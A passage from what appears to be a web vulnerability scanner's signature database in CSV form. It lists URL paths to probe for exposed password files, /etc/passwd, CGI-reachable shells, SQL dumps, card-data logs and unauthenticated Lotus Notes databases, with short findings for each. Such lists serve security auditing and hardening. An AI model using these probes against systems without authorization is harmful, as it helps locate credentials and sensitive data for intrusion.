"001779","3092","1","/outgoing/","GET","200","","","","","This might be interesting...","","" "001780","3092","1","/ows/","GET","200","","","","","This might be interesting... Oracle Web Services?","","" "001781","3092","1","/pages/","GET","200","","","","","This might be interesting...","","" "001782","3092","1","/Pages/","GET","200","","","","","This might be interesting...","","" "001783","3092","1","/passwd","GET","200","","","","","This could be interesting...","","" "001784","3092","1","/passwd.adjunct","GET","200","","","","","This could be interesting...","","" "001785","3092","1","/passwd.txt","GET","200","","","","","This could be interesting...","","" "001786","3092","1","/passwdfile","GET","200","","","","","This might be interesting...","","" "001787","3092","1","/password","GET","200","","","","","This could be interesting...","","" "001788","3268","2","/password/","GET","Index of","","","","","Directory indexing is enabled: /password/","","" "001789","3092","1","/passwords.txt","GET","200","","","","","This could be interesting...","","" "001790","3092","1","/passwords/","GET","200","","","","","This might be interesting...","","" "001791","3092","1","/PDG_Cart/","GET","200","","","","","This might be interesting...","","" "001792","3092","1","/people.list","GET","200","","","","","This might be interesting...","","" "001793","3092","1","/perl5/","GET","200","","","","","This might be interesting...","","" "001794","3092","1","/php/","GET","200","","","","","This might be interesting...","","" "001795","3092","1","/phpmyadmin/","GET","200","","","","","phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.","","" "001796","3092","1","/phpMyAdmin/","GET","200","","","","","phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.","","" "001797","3092","1","/pics/","GET","200","","","","","This might be interesting...","","" "001798","3092","1","/piranha/secure/passwd.php3","GET","200","","","","","This might be interesting...","","" "001799","3092","1","/pix/","GET","200","","","","","This might be interesting...","","" "001800","3092","1","/poll","GET","200","","","","","This may be interesting...","","" "001801","3092","1","/polls","GET","200","","","","","This may be interesting...","","" "001802","3092","1","/porn/","GET","200","","","","","This might be interesting...","","" "001803","3092","1","/pr0n/","GET","200","","","","","This might be interesting...","","" "001804","3092","1","/privado/","GET","200","","","","","This might be interesting...","","" "001805","3092","1","/private/","GET","200","","","","","This might be interesting...","","" "001806","3092","1","/prod/","GET","200","","","","","This might be interesting...","","" "001807","3092","1","/pron/","GET","200","","","","","This might be interesting...","","" "001808","3092","1","/prueba/","GET","200","","","","","This might be interesting...","","" "001809","3092","1","/pruebas/","GET","200","","","","","This might be interesting...","","" "001810","3092","1","/pub/","GET","200","","","","","This might be interesting...","","" "001811","3092","1","/public/","GET","200","","","","","This might be interesting...","","" "001812","3092","1","/publica/","GET","200","","","","","This might be interesting...","","" "001813","3092","1","/publicar/","GET","200","","","","","This might be interesting...","","" "001814","3092","1","/publico/","GET","200","","","","","This might be interesting...","","" "001815","3092","1","/purchase/","GET","200","","","","","This might be interesting...","","" "001816","3092","1","/purchases/","GET","200","","","","","This might be interesting...","","" "001817","3092","1","/pw/","GET","200","","","","","This might be interesting...","","" "001818","3092","1","/pwd.db","GET","200","","","","","This might be interesting...","","" "001819","3092","1","/python/","GET","200","","","","","This might be interesting...","","" "001820","3092","1","/readme","GET","200","","","","","This might be interesting...","","" "001821","3092","1","/README.TXT","GET","200","","","","","This might be interesting...","","" "001822","3092","1","/readme.txt","GET","200","","","","","This might be interesting...","","" "001823","3092","1","/register/","GET","200","","","","","This might be interesting...","","" "001824","3092","1","/registered/","GET","200","","","","","This might be interesting...","","" "001825","3092","1","/reports/","GET","200","","","","","This might be interesting...","","" "001826","3092","1","/reseller/","GET","200","","","","","This might be interesting...","","" "001827","3092","1","/restricted/","GET","200","","","","","This might be interesting...","","" "001828","3092","1","/retail/","GET","200","","","","","This might be interesting...","","" "001829","3092","1","/reviews/newpro.cgi","GET","200","","","","","This might be interesting...","","" "001830","3268","2","/root/","GET","Index of ","","","","","Directory indexing is enabled: /root/","","" "001831","3092","1","/sales/","GET","200","","","","","This might be interesting...","","" "001832","3092","1","/sample/","GET","200","","","","","This might be interesting...","","" "001833","3092","1","/samples/","GET","200","","","","","This might be interesting...","","" "001834","3092","1","/save/","GET","200","","","","","This might be interesting...","","" "001835","3092","1","/scr/","GET","200","","","","","This might be interesting...","","" "001836","3092","1","/scratch","GET","200","","","","","This may be interesting...","","" "001837","3092","1","/scripts/weblog","GET","200","","","","","This might be interesting...","","" "001838","3092","1","/search.vts","GET","200","","","","","This might be interesting...","","" "001839","3092","1","/search97.vts","GET","200","","","","","This might be interesting...","","" "001840","3092","1","/secret/","GET","200","","","","","This might be interesting...","","" "001841","3268","2","/secure/","GET","Index of ","","","","","Directory indexing is enabled: /secure/","","" "001842","3268","2","/secured/","GET","Index of ","","","","","Directory indexing is enabled: /secured/","","" "001843","3092","1","/sell/","GET","200","","","","","This might be interesting...","","" "001844","3268","2","/server_stats/","GET","Index of ","","","","","Directory indexing is enabled: /server_stats/","","" "001845","3092","1","/service/","GET","200","","","","","This might be interesting...","","" "001846","3268","2","/services/","GET","Index of","","","","","Directory indexing is enabled: /services","","" "001847","3092","1","/servicio/","GET","200","","","","","This might be interesting...","","" "001848","3092","1","/servicios/","GET","200","","","","","This might be interesting...","","" "001849","3092","1","/setup/","GET","200","","","","","This might be interesting...","","" "001850","3092","1","/shop/","GET","200","","","","","This might be interesting...","","" "001851","3092","1","/shopper/","GET","200","","","","","This might be interesting...","","" "001852","3268","2","/software/","GET","Index of ","","","","","Directory indexing is enabled: /software/","","" "001853","3092","1","/solaris/","GET","200","","","","","This might be interesting...","","" "001854","3268","2","/source/","GET","Index of ","","","","","Directory indexing is enabled: /source/","","" "001855","3092","1","/Sources/","GET","200","","","","","This might be interesting... may be YaBB.","","" "001856","3092","1","/spwd","GET","200","","","","","This might be interesting...","","" "001857","3268","2","/sql/","GET","Index of ","","","","","Directory indexing is enabled: /sql/","","" "001858","3268","2","/src/","GET","Index of ","","","","","Directory indexing is enabled: /src/","","" "001859","3092","1","/srchadm","GET","200","","","","","This might be interesting...","","" "001860","3092","1","/ss.cfg","GET","200","","","","","This might be interesting...","","" "001861","3268","2","/ssi/","GET","Index of ","","","","","Directory indexing is enabled: /ssi/","","" "001862","3092","1","/staff/","GET","200","","","","","This might be interesting...","","" "001863","3092","1","/stat.htm","GET","200","","","","","This might be interesting...","","" "001864","3092","1","/stat/","GET","200","","","","","This might be interesting...","","" "001865","3092","1","/statistic/","GET","200","","","","","This might be interesting...","","" "001866","3092","1","/Statistics/","GET","200","","","","","This might be interesting...","","" "001867","3092","1","/statistics/","GET","200","","","","","This might be interesting...","","" "001868","3092","1","/stats.htm","GET","200","","","","","This might be interesting...","","" "001869","3092","1","/stats.html","GET","200","","","","","This might be interesting...","","" "001870","3092","1","/stats.txt","GET","200","","","","","This might be interesting...","","" "001871","3092","1","/stats/","GET","200","","","","","This might be interesting...","","" "001872","3092","1","/Stats/","GET","200","","","","","This might be interesting...","","" "001873","3092","1","/status/","GET","200","","","","","This might be interesting...","","" "001874","3092","1","/store/","GET","200","","","","","This might be interesting...","","" "001875","3092","1","/StoreDB/","GET","200","","","","","This might be interesting...","","" "001876","3092","1","/stylesheet/","GET","200","","","","","This may be interesting...","","" "001877","3092","1","/stylesheets/","GET","200","","","","","This may be interesting...","","" "001878","3092","1","/subir/","GET","200","","","","","This might be interesting...","","" "001879","3092","1","/sun/","GET","200","","","","","This might be interesting...","","" "001880","3092","1","/super_stats/access_logs","GET","200","","","","","This might be interesting...","","" "001881","3092","1","/super_stats/error_logs","GET","200","","","","","This might be interesting...","","" "001882","3092","1","/support/","GET","200","","","","","This might be interesting...","","" "001883","3092","1","/swf","GET","200","","","","","This may be interesting... Flash files?","","" "001884","3092","1","/sys/","GET","200","","","","","This might be interesting...","","" "001885","3092","1","/system/","GET","200","","","","","This might be interesting...","","" "001886","3092","1","/tar/","GET","200","","","","","This might be interesting...","","" "001887","3092","1","/tarjetas/","GET","200","","","","","This might be interesting...","","" "001888","3092","1","/temp/","GET","200","","","","","This might be interesting...","","" "001889","3092","1","/template/","GET","200","","","","","This may be interesting as the directory may hold sensitive files or reveal system information.","","" "001890","3092","1","/temporal/","GET","200","","","","","This might be interesting...","","" "001891","3092","1","/test.htm","GET","200","","","","","This might be interesting...","","" "001892","3092","1","/test.html","GET","200","","","","","This might be interesting...","","" "001893","3092","1","/test.txt","GET","200","","","","","This might be interesting...","","" "001894","3092","1","/test/","GET","200","","","","","This might be interesting...","","" "001895","3092","1","/testing/","GET","200","","","","","This might be interesting...","","" "001896","3092","1","/tests/","GET","200","","","","","This might be interesting...","","" "001897","3092","1","/tmp/","GET","200","","","","","This might be interesting...","","" "001898","3092","1","/tools/","GET","200","","","","","This might be interesting...","","" "001899","3092","1","/tpv/","GET","200","","","","","This might be interesting...","","" "001900","3092","1","/trabajo/","GET","200","","","","","This might be interesting...","","" "001901","3092","1","/trafficlog/","GET","200","","","","","This might be interesting...","","" "001902","3092","1","/transito/","GET","200","","","","","This might be interesting...","","" "001903","3092","1","/tree/","GET","200","","","","","This might be interesting...","","" "001904","3092","1","/trees/","GET","200","","","","","This might be interesting...","","" "001905","3092","1","/updates/","GET","200","","","","","This might be interesting...","","" "001906","3092","1","/user/","GET","200","","","","","This might be interesting...","","" "001907","3092","1","/users/","GET","200","","","","","This might be interesting...","","" "001908","3092","1","/users/scripts/submit.cgi","GET","200","","","","","This might be interesting...","","" "001909","3092","1","/ustats/","GET","200","","","","","This might be interesting...","","" "001910","3092","1","/usuario/","GET","200","","","","","This might be interesting...","","" "001911","3092","1","/usuarios/","GET","200","","","","","This might be interesting...","","" "001912","3092","1","/vfs/","GET","200","","","","","This might be interesting...","","" "001913","3092","1","/w3perl/admin","GET","200","","","","","This might be interesting...","","" "001914","3092","1","/warez/","GET","200","","","","","This might be interesting...","","" "001915","3092","1","/web/","GET","200","","","","","This might be interesting...","","" "001916","3092","1","/web800fo/","GET","200","","","","","This might be interesting...","","" "001917","3092","1","/webaccess.htm","GET","200","","","","","This might be interesting...","","" "001918","3092","1","/webaccess/access-options.txt","GET","200","","","","","This might be interesting...","","" "001919","3092","1","/webadmin/","GET","200","","","","","This might be interesting...may be HostingController, www.hostingcontroller.com","","" "001920","3092","1","/webboard/","GET","200","","","","","This might be interesting...","","" "001921","3092","1","/webcart-lite/","GET","200","","","","","This might be interesting...","","" "001922","3092","1","/webcart/","GET","200","","","","","This might be interesting...","","" "001923","3092","1","/webdata/","GET","200","","","","","This might be interesting...","","" "001924","3092","1","/weblog/","GET","200","","","","","This might be interesting...","","" "001925","3092","1","/weblogs/","GET","200","","","","","This might be interesting...","","" "001926","3092","1","/webmaster_logs/","GET","200","","","","","This might be interesting...","","" "001927","3092","1","/WebShop/","GET","200","","","","","This might be interesting...","","" "001928","3092","1","/WebShop/logs/cc.txt","GET","200","","","","","This might be interesting...","","" "001929","3092","1","/WebShop/templates/cc.txt","GET","200","","","","","This might be interesting...","","" "001930","3092","1","/website/","GET","200","","","","","This might be interesting...","","" "001931","3092","1","/webstats/","GET","200","","","","","This might be interesting...","","" "001932","3092","1","/WebTrend/","GET","200","","","","","This might be interesting...","","" "001933","3092","1","/Web_store/","GET","200","","","","","This might be interesting...","","" "001934","3092","1","/windows/","GET","200","","","","","This might be interesting...","","" "001935","3092","1","/word/","GET","200","","","","","This might be interesting...","","" "001936","3092","1","/work/","GET","200","","","","","This might be interesting...","","" "001937","3092","1","/wstats/","GET","200","","","","","This might be interesting...","","" "001938","3092","1","/wusage/","GET","200","","","","","This might be interesting...","","" "001939","3092","1","/www-sql/","GET","200","","","","","This might be interesting...","","" "001940","3092","1","/www/","GET","200","","","","","This might be interesting...","","" "001941","3092","1","/wwwboard/wwwboard.cgi","GET","200","","","","","This might be interesting...","","" "001942","3092","1","/wwwboard/wwwboard.pl","GET","200","","","","","This might be interesting...","","" "001943","3092","1","/wwwjoin/","GET","200","","","","","This might be interesting...","","" "001944","3092","1","/wwwlog/","GET","200","","","","","This might be interesting...","","" "001945","3092","1","/wwwstats.html","GET","200","","","","","This might be interesting...","","" "001946","3092","1","/wwwstats/","GET","200","","","","","This might be interesting...","","" "001947","3092","1","/wwwthreads/3tvars.pm","GET","200","","","","","This might be interesting...","","" "001948","3092","1","/wwwthreads/w3tvars.pm","GET","200","","","","","This might be interesting...","","" "001949","3092","1","/zipfiles/","GET","200","","","","","This might be interesting...","","" "001950","3268","2","/_pages","GET","index of","","","","","Directory indexing is enabled: /_pages","","" "001951","3092","1","@CGIDIRS","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "001952","3092","1","@CGIDIRS.fhp","GET","200","","","","","This might be interesting...","","" "001953","3092","1","@CGIDIRSadd_ftp.cgi","GET","200","","","","","This might be interesting...","","" "001954","3092","1","@CGIDIRSadmin.cgi","GET","200","","","","","This might be interesting...","","" "001955","3092","1","@CGIDIRSadmin.php","GET","200","","","","","This might be interesting...","","" "001956","3092","1","@CGIDIRSadmin.php3","GET","200","","","","","This might be interesting...","","" "001957","3092","1","@CGIDIRSadmin.pl","GET","200","","","","","Might be interesting","","" "001958","3092","1","@CGIDIRSadminhot.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from another CGI scanner.","","" "001959","3092","1","@CGIDIRSadminwww.cgi","GET","200","","","","","This might be interesting... has been seen in web logs from another CGI scanner.","","" "001960","3092","1","@CGIDIRSAnyBoard.cgi","GET","200","","","","","This might be interesting...","","" "001961","3092","1","@CGIDIRSAnyForm","GET","200","","","","","This might be interesting...","","" "001962","3092","1","@CGIDIRSAnyForm2","GET","200","","","","","This might be interesting...","","" "001963","3092","1","@CGIDIRSash","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "001964","3092","1","@CGIDIRSax-admin.cgi","GET","200","","","","","This might be interesting...","","" "001965","3092","1","@CGIDIRSax.cgi","GET","200","","","","","This might be interesting...","","" "001966","3092","1","@CGIDIRSaxs.cgi","GET","200","","","","","This might be interesting...","","" "001967","3092","1","@CGIDIRSbash","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "001968","3092","1","@CGIDIRSbnbform","GET","200","","","","","This might be interesting...","","" "001969","3092","1","@CGIDIRSbnbform.cgi","GET","200","","","","","This might be interesting...","","" "001970","3092","1","@CGIDIRScart.pl","GET","200","","","","","This might be interesting...","","" "001971","3092","1","@CGIDIRScgimail.exe","GET","200","","","","","This might be interesting...","","" "001972","3092","1","@CGIDIRSclassifieds","GET","200","","","","","This might be interesting...","","" "001973","3092","1","@CGIDIRSclassifieds.cgi","GET","200","","","","","This might be interesting...","","" "001974","3092","1","@CGIDIRSclickcount.pl?view=test","GET","200","","","","","This might be interesting...","","" "001975","3092","1","@CGIDIRScode.php","GET","200","","","","","This might be interesting...","","" "001976","3092","1","@CGIDIRScode.php3","GET","200","","","","","This might be interesting...","","" "001977","3092","1","@CGIDIRScount.cgi","GET","200","","","","","This might be interesting...","","" "001978","3092","1","@CGIDIRScsh","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "001979","3092","1","@CGIDIRScstat.pl","GET","200","","","","","This might be interesting...","","" "001980","3092","1","@CGIDIRSc_download.cgi","GET","200","","","","","This might be interesting...","","" "001981","3092","1","@CGIDIRSdasp/fm_shell.asp","GET","200","","","","","This might be interesting...","","" "001982","3092","1","@CGIDIRSday5datacopier.cgi","GET","200","","","","","This might be interesting...","","" "001983","3092","1","@CGIDIRSdfire.cgi","GET","200","","","","","This might be interesting...","","" "001984","3092","1","@CGIDIRSdig.cgi","GET","200","","","","","This might be interesting...","","" "001985","3092","1","@CGIDIRSdisplayTC.pl","GET","200","","","","","This might be interesting...","","" "001986","3092","1","@CGIDIRSedit.pl","GET","200","","","","","This might be interesting...","","" "001987","3092","1","@CGIDIRSenter.cgi","GET","200","","","","","This might be interesting...","","" "001988","3092","1","@CGIDIRSenviron.cgi","GET","200","","","","","This might be interesting...","","" "001989","3092","1","@CGIDIRSenviron.pl","GET","200","","","","","This might be interesting...","","" "001990","3092","1","@CGIDIRSex-logger.pl","GET","200","","","","","This might be interesting...","","" "001991","3092","1","@CGIDIRSexcite","GET","200","","","","","This might be interesting...","","" "001992","3092","1","@CGIDIRSfilemail","GET","200","","","","","This might be interesting...","","" "001993","3092","1","@CGIDIRSfilemail.pl","GET","200","","","","","This might be interesting...","","" "001994","3092","1","@CGIDIRSftp.pl","GET","200","","","","","This might be interesting... is file transfer allowed?","","" "001995","3092","1","@CGIDIRSftpsh","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "001996","3092","1","@CGIDIRSgetdoc.cgi","GET","200","","","","","This might be interesting...","","" "001997","3092","1","@CGIDIRSglimpse","GET","200","","","","","This might be interesting...","","" "001998","3092","1","@CGIDIRShitview.cgi","GET","200","","","","","This might be interesting...","","" "001999","3092","1","@CGIDIRSjailshell","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "002000","105","1","@CGIDIRSjj","GET","200","","","","","Allows attackers to execute commands as http daemon","","" "002001","3092","1","@CGIDIRSksh","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "002002","3092","1","@CGIDIRSlog-reader.cgi","GET","200","","","","","This might be interesting...","","" "002003","3092","1","@CGIDIRSlog/","GET","200","","","","","This might be interesting...","","" "002004","3092","1","@CGIDIRSlogin.cgi","GET","200","","","","","This might be interesting...","","" "002005","3092","1","@CGIDIRSlogin.pl","GET","200","","","","","This might be interesting...","","" "002006","3092","1","@CGIDIRSlogit.cgi","GET","200","","","","","This might be interesting...","","" "002007","3092","1","@CGIDIRSlogs.pl","GET","200","","","","","May be interesting...","","" "002008","3092","1","@CGIDIRSlogs/","GET","200","","","","","This might be interesting...","","" "002009","3092","1","@CGIDIRSlogs/access_log","GET","200","","","","","This might be interesting...","","" "002010","3092","1","@CGIDIRSlogs/error_log","GET","200","","","","","This might be interesting...","","" "002011","3092","1","@CGIDIRSlookwho.cgi","GET","200","","","","","This might be interesting...","","" "002012","3092","1","@CGIDIRSmaillist.cgi","GET","200","","","","","This might be interesting...","","" "002013","3092","1","@CGIDIRSmaillist.pl","GET","200","","","","","This might be interesting...","","" "002014","3092","1","@CGIDIRSman.sh","GET","200","","","","","This might be interesting...","","" "002015","3092","1","@CGIDIRSmeta.pl","GET","200","","","","","This might be interesting...","","" "002016","3092","1","@CGIDIRSminimal.exe","GET","200","","","","","This might be interesting...","","" "002017","3092","1","@CGIDIRSnlog-smb.cgi","GET","200","","","","","This might be interesting...","","" "002018","3092","1","@CGIDIRSnlog-smb.pl","GET","200","","","","","This might be interesting...","","" "002019","3092","1","@CGIDIRSnoshell","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "002020","3092","1","@CGIDIRSnph-publish","GET","200","","","","","This might be interesting...","","" "002021","3092","1","@CGIDIRSntitar.pl","GET","200","","","","","This might be interesting...","","" "002022","3092","1","@CGIDIRSpass","GET","200","","","","","This could be interesting...","","" "002023","3092","1","@CGIDIRSpasswd","GET","200","","","","","This could be interesting...","","" "002024","3092","1","@CGIDIRSpasswd.txt","GET","200","","","","","This could be interesting...","","" "002025","3092","1","@CGIDIRSpassword","GET","200","","","","","This could be interesting...","","" "002026","3092","1","@CGIDIRSpost_query","GET","200","","","","","This might be interesting...","","" "002027","3092","1","@CGIDIRSpu3.pl","GET","200","","","","","This might be interesting...","","" "002028","3092","1","@CGIDIRSratlog.cgi","GET","200","","","","","This might be interesting...","","" "002029","3092","1","@CGIDIRSresponder.cgi","GET","200","","","","","This might be interesting...","","" "002030","3092","1","@CGIDIRSrguest.exe","GET","200","","","","","This might be interesting...","","" "002031","3092","1","@CGIDIRSrksh","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "002032","3092","1","@CGIDIRSrsh","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "002033","3092","1","@CGIDIRSsearch.cgi","GET","200","","","","","This might be interesting...","","" "002034","3092","1","@CGIDIRSsearch.pl","GET","200","","","","","This might be interesting...","","" "002035","3092","1","@CGIDIRSsession/adminlogin","GET","200","","","","","This might be interesting...","","" "002036","3092","1","@CGIDIRSsh","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "002037","3092","1","@CGIDIRSshow.pl","GET","200","","","","","This might be interesting...","","" "002038","3092","1","@CGIDIRSstat/","GET","200","","","","","This might be interesting...","","" "002039","3092","1","@CGIDIRSstats-bin-p/reports/index.html","GET","200","","","","","This might be interesting...","","" "002040","3092","1","@CGIDIRSstats.pl","GET","200","","","","","This might be interesting...","","" "002041","3092","1","@CGIDIRSstats.prf","GET","200","","","","","This might be interesting...","","" "002042","3092","1","@CGIDIRSstats/","GET","200","","","","","This might be interesting...","","" "002043","3092","1","@CGIDIRSstatsconfig","GET","200","","","","","This might be interesting...","","" "002044","3092","1","@CGIDIRSstats_old/","GET","200","","","","","This might be interesting...","","" "002045","3092","1","@CGIDIRSstatview.pl","GET","200","","","","","This might be interesting...","","" "002046","3092","1","@CGIDIRSsurvey","GET","200","","","","","This might be interesting...","","" "002047","3092","1","@CGIDIRSsurvey.cgi","GET","200","","","","","This might be interesting...","","" "002048","3092","1","@CGIDIRStablebuild.pl","GET","200","","","","","This might be interesting...","","" "002049","3092","1","@CGIDIRStcsh","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "002050","3092","1","@CGIDIRStest.cgi","GET","200","","","","","This might be interesting...","","" "002051","3092","1","@CGIDIRStest/test.cgi","GET","200","","","","","This might be interesting...","","" "002052","3092","1","@CGIDIRStextcounter.pl","GET","200","","","","","This might be interesting...","","" "002053","3092","1","@CGIDIRStidfinder.cgi","GET","200","","","","","This might be interesting...","","" "002054","3092","1","@CGIDIRStigvote.cgi","GET","200","","","","","This might be interesting...","","" "002055","3092","1","@CGIDIRStpgnrock","GET","200","","","","","This might be interesting...","","" "002056","3092","1","@CGIDIRSultraboard.cgi","GET","200","","","","","This might be interesting...","","" "002057","3092","1","@CGIDIRSultraboard.pl","GET","200","","","","","This might be interesting...","","" "002058","3092","1","@CGIDIRSviewlogs.pl","GET","200","","","","","This might be interesting...","","" "002059","3092","1","@CGIDIRSvisitor.exe","GET","200","","","","","May be interesting...","","" "002060","3092","1","@CGIDIRSw3-msql","GET","200","","","","","This might be interesting...","","" "002061","3092","1","@CGIDIRSw3-sql","GET","200","","","","","This might be interesting...","","" "002062","3092","1","@CGIDIRSwebais","GET","200","","","","","This might be interesting...","","" "002063","3092","1","@CGIDIRSwebbbs.cgi","GET","200","","","","","This might be interesting...","","" "002064","3092","1","@CGIDIRSwebbbs.exe","GET","200","","","","","May be interesting...","","" "002065","3092","1","@CGIDIRSwebutil.pl","GET","200","","","","","This might be interesting... has been seen in web logs from another CGI scanner.","","" "002066","3092","1","@CGIDIRSwebutils.pl","GET","200","","","","","This might be interesting... has been seen in web logs from another CGI scanner.","","" "002067","3092","1","@CGIDIRSwebwho.pl","GET","200","","","","","This might be interesting... has been seen in web logs from another CGI scanner.","","" "002068","3092","1","@CGIDIRSwguest.exe","GET","200","","","","","May be interesting...","","" "002069","3092","1","@CGIDIRSwww-sql","GET","200","","","","","This might be interesting...","","" "002070","3092","1","@CGIDIRSwwwboard.cgi.cgi","GET","200","","","","","This might be interesting...","","" "002071","3092","1","@CGIDIRSwwwboard.pl","GET","200","","","","","This might be interesting...","","" "002072","3092","1","@CGIDIRSwwwstats.pl","GET","200","","","","","This might be interesting...","","" "002073","3092","1","@CGIDIRSwwwthreads/3tvars.pm","GET","200","","","","","This might be interesting...","","" "002074","3092","1","@CGIDIRSwwwthreads/w3tvars.pm","GET","200","","","","","This might be interesting...","","" "002075","3092","1","@CGIDIRSzsh","GET","200","","","","","This might be interesting... possibly a system shell found.","","" "002076","13483","12","/adsamples/config/site.csc","GET","200","","","","","Contains SQL username/password","","" "002077","3092","1","/advworks/equipment/catalog_type.asp","GET","200","","","","","This might be interesting...","","" "002078","3092","1","/carbo.dll","GET","200","","","","","This might be interesting...","","" "002079","17670","1","/clocktower/","GET","200","","","","","Site Server sample files. This might be interesting...","","" "002080","3092","1","/localstart.asp","GET","You are not authorized","","","","","This may be interesting...","","" "002081","17670","1","/market/","GET","200","","","","","Site Server sample files. This might be interesting.","","" "002082","17670","1","/mspress30/","GET","200","","","","","Site Server sample files. This might be interesting...","","" "002083","3092","1","/sam","GET","200","","","","","This might be interesting...","","" "002084","3092","1","/sam.bin","GET","200","","","","","This might be interesting...","","" "002085","3092","1","/sam._","GET","200","","","Forbidden","","This might be interesting...","","" "002086","3092","1","/samples/search/queryhit.htm","GET","200","","","","","This might be interesting...","","" "002087","3092","1","/scripts/counter.exe","GET","200","","","","","This might be interesting...","","" "002088","17669","76","/scripts/cphost.dll","GET","200","","","","","cphost.dll may have a DoS and a traversal issue.","","" "002089","3092","1","/scripts/fpadmcgi.exe","GET","200","","","","","This might be interesting...","","" "002090","3092","1","/scripts/postinfo.asp","GET","200","","","","","This might be interesting...","","" "002091","3092","1","/scripts/samples/ctguestb.idc","GET","200","","","","","This might be interesting...","","" "002092","3092","1","/scripts/samples/search/webhits.exe","GET","200","","","","","This might be interesting...","","" "002093","3092","1","/site/iissamples/","GET","200","","","","","This might be interesting...","","" "002094","17670","1","/vc30/","GET","200","","","","","Site Server sample files. This might be interesting...","","" "002095","3092","1","/_mem_bin/","GET","200","","","","","This might be interesting - User Login","","" "002096","3092","1","/_mem_bin/FormsLogin.asp","GET","200","","","","","This might be interesting - User Login","","" "002097","3092","1","/perl/files.pl","GET","200","","","","","This might be interesting...","","" "002098","3092","1","/perl5/files.pl","GET","200","","","","","This might be interesting...","","" "002099","3092","1","/scripts/convert.bas","GET","200","","","","","This might be interesting...","","" "002100","3092","1","/owa_util%2esignature","GET","200","","","","","unknown--may be interesting","","" "002101","3233","1","/cgi-dos/args.bat","GET","200","","","","","Default FrontPage CGI found.","","" "002102","3092","1","/custdata/","GET","200","","","","","This may be COWS (CGI Online Worldweb Shopping), and may be interesting...","","" "002103","3092","1","/hostingcontroller/","GET","200","","","","","This might be interesting...probably HostingController, www.hostingcontroller.com","","" "002104","3092","2","/data.sql","GET","200","","","","","Database SQL?","","" "002105","3092","2","/databases/","GET","200","","","","","Databases? Really??","","" "002106","3092","2","/databse.sql","GET","200","","","","","Database SQL?","","" "002107","3092","2","/db.sql","GET","200","","","","","Database SQL?","","" "002108","3092","2","/etc/passwd","GET","root:","","","","","An '/etc/passwd' file is available through the web site. This may not be good at all.","","" "002109","3092","2","/img-sys/","GET","200","","","","","Default image directory should not allow directory listing.","","" "002110","3092","2","/java-sys/","GET","200","","","","","Default Java directory should not allow directory listing.","","" "002111","3092","2","/javadoc/","GET","200","","","","","Documentation...?","","" "002112","3092","2","/log/","GET","200","","","","","Ahh...log information...fun!","","" "002113","3092","2","/manager/","GET","200","","","","","May be a web server or site manager.","","" "002114","3092","2","/manual/","GET","200","","","","","Web server manual found.","","" "002115","3092","2","/exchange/","GET","401","","","","","This may be interesting (Outlook exchange OWA server?)...","","" "002116","3092","3","/pls/admin","GET","ENVIRONMENT","","","","","Oracle Apache+WebDB gives a lot of system information via the pls/admin script","","" "002117","3092","3","/account.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002118","3092","3","/accounts.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002119","3092","3","/admin.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002120","3092","3","/admin4.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002121","3092","3","/admin5.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002122","3092","3","/agentrunner.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002123","3092","3","/alog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002124","3092","3","/archive/a_domlog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002125","3092","3","/archive/l_domlog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002126","3092","3","/a_domlog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002127","3092","3","/billing.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002128","3092","3","/bookmark.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002129","3092","3","/books.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002130","3092","3","/busytime.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002131","3092","3","/calendar.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002132","3092","3","/certa.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002133","3092","3","/certlog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002134","3092","3","/certsrv.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002135","3092","3","/chatlog.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002136","3092","3","/clbusy.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002137","3092","3","/cldbdir.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002138","3092","3","/clusta4.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002139","3092","3","/collect4.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002140","3092","3","/cpa.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002141","3092","3","/customerdata.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002142","3092","3","/da.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002143","3092","3","/database.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002144","3092","3","/db.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002145","3092","3","/dclf.nsf","GET","200","","","","","This database can be read without authentication, which may reveal sensitive information.","","" "002146","3092","3","/DEASAppDesign.nsf","GET","200","","","","","This database can be read 